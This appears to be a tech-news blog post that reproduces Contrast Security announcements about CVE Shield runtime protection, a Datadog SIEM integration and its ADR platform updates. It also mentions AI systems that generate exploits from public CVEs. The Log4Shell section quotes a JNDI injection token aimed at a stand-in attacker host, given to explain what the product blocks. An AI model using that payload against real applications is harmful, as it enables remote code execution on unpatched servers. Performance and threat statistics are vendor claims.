The IT Nerd

Contrast Security today announced Contrast CVE Shield to stop the wave of AI-generated exploits made possible by frontier models like Claude Mythos.

Contrast CVE Shield operates inside the running application, where it detects, monitors and prevents exploitation of known vulnerabilities. Legitimate library functions continue, while security teams get evidence showing which vulnerabilities are present, which are active, which are being attacked and which are kept safe.

Using a runtime microsandbox for each supported CVE, CVE Shield is a compensating control that gives organizations immediate protection while they test and deploy the permanent fix.

In April 2026, Anthropic reported that its Claude Mythos Preview research system could take a public CVE identifier and the corresponding Git commit and autonomously produce a working exploit inexpensively within a day. Within five weeks, OpenAI and Microsoft disclosed comparable vulnerability research systems.

Built for AI-speed exploitation

Traditional CVE management identifies the 5% of CVEs that actually matter in production and creates a remediation ticket. Teams still have to determine whether the vulnerable code is actually running, reachable, exploitable, and connected to a sensitive asset — and then protect the application while they test and deploy an update.

CVE Shield adds runtime protection while teams patch. Instead of trying to recognize every malicious payload, it blocks the capabilities an exploit must use to succeed, such as native code execution, remote class loading, and arbitrary file writes.

Because CVE Shield controls behavior rather than relying on payload signatures, new variations of a supported exploit hit the same protected boundary. No new signature is required.

Even when an attacker reaches vulnerable code with a working exploit, CVE Shield can stop the exploit from completing its intended action.

-Katie Norton, Senior Research Manager at IDC

The Log4Shell example

Let’s use Log4Shell as an example, because it is the most widely known CVE.

Log4Shell, tracked as CVE-2021-44228, is exploited by an attacker slipping a token like ${jndi:ldap://attacker.example/x} into request data that gets logged by an application or API, which triggers an outbound lookup that loads and runs attacker-controlled code.

CVE Shield wraps the vulnerable Log4j methods, so normal logging continues while the capabilities the exploit needs, the outbound JNDI lookup, remote class loading and process execution, are denied. The lookup never reaches the attacker’s server and the malicious class never loads.

The vulnerable component keeps working. The exploit does not.

Engineered for production

CVE Shield is installed on your workloads with a single command and immediately begins identifying and protecting against CVE exploit attempts. It requires no additional appliance, proxy or sidecar.

CVE Shield is designed for maximum performance. There is no impact unless a CVE is exploited, and exploit prevention adds only 12 nanoseconds, making CVE Shield’s performance impact almost immeasurable. It can be easily installed on a single host or across a large, diverse infrastructure.

Once the application starts, CVE Shield inventories its libraries and activates shields for vulnerable versions that match. The Contrast Agent Operator automates deployment across Kubernetes and OpenShift workloads without per-service code or Dockerfile changes.

CVE Shield also replaces vulnerability assumptions with runtime evidence. It shows security teams which vulnerable libraries are present, which vulnerable code paths are being exercised and when exploitation is attempted.

Teams can focus remediation efforts on real application risk rather than treating every entry in the backlog as equally urgent. Contrast provides dynamic risk scores for CVEs based on architectural, threat, and business context from production environments.

Availability

CVE Shield is part of Contrast Application Detection and Response. Its initial rollout brings localized CVE sandboxing to 60 critical Java vulnerabilities, including Log4Shell, Spring4Shell and Apache Commons Collections deserialization vulnerabilities. Contrast will expand coverage to additional high- and critical-severity CVEs, with new protections delivered continuously as vulnerabilities emerge. Support for Go, Node.js, .NET and Python is planned for the second half of 2026.

CVE Shield will be available on August 3, 2026, with a free tier, enabling AppSec teams to deploy to Java applications within minutes and gain immediate runtime visibility into active, supported CVEs.

Before August 3rd, you can sign up for the Contrast CVE Shield waitlist. After August 3rd, visit the Contrast CVE Shield registration page.

Key takeaways

• Contrast Security launched CVE Shield to detect exploitation of known vulnerabilities in third-party libraries used by production applications and APIs.
• CVE Shield operates within the running application and uses runtime microsandboxing to prevent the dangerous capabilities required by a supported exploit.
• In monitor mode, CVE Shield detects production exposure and reports exploitation attempts. In block mode, it stops prohibited operations before they complete.
• CVE Shield protects applications while teams test and deploy patches for vulnerable third-party dependencies.
• Behavior-based enforcement blocks new variations of supported exploits without waiting for new payload signatures.
• CVE Shield operates through the Contrast agent and requires no separate appliance, proxy, sidecar or application code changes.
• Runtime evidence shows which vulnerable libraries are present, which vulnerable code paths are exercised and when exploitation is attempted.

Contrast Security has announced a new integration that brings verified application runtime intelligence directly into Datadog Cloud SIEM. The integration enables Security Operations Centers (SOCs) to distinguish real application-layer exploits from background noise and then stop those attacks.  

Closing the Application Security Context Gap

Datadog’s State of Application Security report further highlights the scale of the problem, finding that although organizations face thousands of vulnerabilities, only 3% of critical vulnerabilities represent truly high-priority risks. And, according to Contrast’s Software Under Siege 2025 report, applications are attacked every 3 minutes on average, with more than 31% of viable exploits targeting weaknesses such as unsafe deserialization that perimeter tools routinely miss. 

Together, these findings underscore the urgent need for runtime visibility and high-confidence signals that separate genuine threats from the overwhelming noise of logs and low-fidelity alerts.

Many teams struggle to separate genuine application attacks from the flood of low-value alerts generated by perimeter tools. WAF alerts, for example, correlate to real exploits less than 0.25% of the time, forcing analysts to spend hours manually validating threats. Contrast ADR closes this gap by detecting and blocking attacks inside the application itself, then streaming verified alerts, including needed context, directly into Datadog Cloud SIEM as trusted triggers for automated workflows.

Verified Alerts, Automation-Ready

With this integration, joint customers can:

• Confidently detect and respond to application-layer attacks that evade traditional tools, including untrusted deserialization and OGNL injection, which can lead to data exfiltration and ransomware.
• Automate triage by sending verified alerts directly to your ticketing, chat, and case management systems, complete with the context developers need to investigate and respond quickly.
• Reduce Application Layer MTTR from days to minutes by feeding verified runtime intelligence into Datadog Workflows, thereby eliminating noisy alerts and speeding up response steps, with the ability to automate them.
• Accelerate remediation with Contrast SmartFix AI, which not only identifies the correct fix but also automatically generates pull requests, delivering ready-to-merge code changes that speed up repairs and improve productivity.

Availability

Datadog customers can find Contrast ADR in the Datadog platform. 

One year after launching Application Detection and Response (ADR) at Black Hat, Contrast Security is accelerating its mission to secure modern software from the inside out. While legacy AppSec tools struggle to keep pace with AI-accelerated pipelines and cloud-native environments, Contrast has delivered a new approach built on runtime context, AI-driven remediation, and shared visibility across Dev, AppSec, and SecOps.

Contrast Security’s ADR adoption reached 40% of its customer base, reflecting rapid market validation and strong demand for a runtime-native approach to securing applications and APIs in production.

The Northstar release, announced earlier this year, marked a major evolution of the platform. It unified detection, remediation, and observability into a single experience, powered by the Contrast Graph, a real-time behavioral model of the application layer that maps attack surface, defenses, vulnerabilities and more, providing the rich context app/API security demands. Northstar also introduced SmartFix, Contrast’s agentic AI for auto-generating validated code fixes, and Deployment Hub with Flex Agent, which makes it easy to scale ADR across complex enterprise environments.

According to Contrast’s Software Under Siege 2025 report, application-layer attacks now occur every 3 minutes, yet most security teams lack the runtime context to detect or respond in time.

This week, Contrast is expanding the reach of Northstar with two new ecosystem integrations that make runtime security even more accessible and effective:

• GitHub Copilot Integration – Developers can now apply AI-generated fixes that are validated by live runtime evidence, bridging the gap between detection and developer action. Unlike traditional AI suggestions that lack runtime context, Contrast SmartFix works with GitHub Copilot to generate secure code fixes based on runtime vulnerability details, proven exploitability, attack details, defenses available, and context from the Context Graph. This streamlines remediation by delivering ready-to-review pull requests that are both context-aware and safe for production, helping developers fix real issues faster without disrupting their workflow and ship with confidence.
• Sumo Logic Integration – Contrast attack telemetry now flows directly into Sumo Logic, enabling SOC teams to triage, investigate, and respond with full application-layer context. Security teams gain real-time visibility into exploit attempts, vulnerable code paths, and application behavior, all enriched through the Contrast Graph. By integrating runtime intelligence into existing SIEM workflows, organizations can stop breaches faster, reduce mean time to detect (MTTD), cut investigation overhead, understand the blast radius and close the loop between AppSec and incident response.

The updates to the Northstar release align with Contrast’s vision of securing software across the full lifecycle, from production back to code, with a single, unified platform.

Contrast ADR is the first runtime-native platform for defending applications in production, built to detect, block, and remediate real threats as they happen. By uniting developers, AppSec, and SecOps around the same runtime intelligence, Contrast ADR delivers the shared context teams need to act faster, fix smarter, and stop chasing noise.

The adoption of ADR has been especially strong in industries with the highest security and compliance demands, including financial services, healthcare, manufacturing, and technology. Organizations in these sectors are replacing legacy scanners and fragmented workflows with Contrast’s unified runtime platform to reduce time-to-fix, eliminate false positives, and improve real-world outcomes.

To see Contrast ADR in action, visit Booth #1861 at Black Hat USA 2025, or learn more at contrastsecurity.com.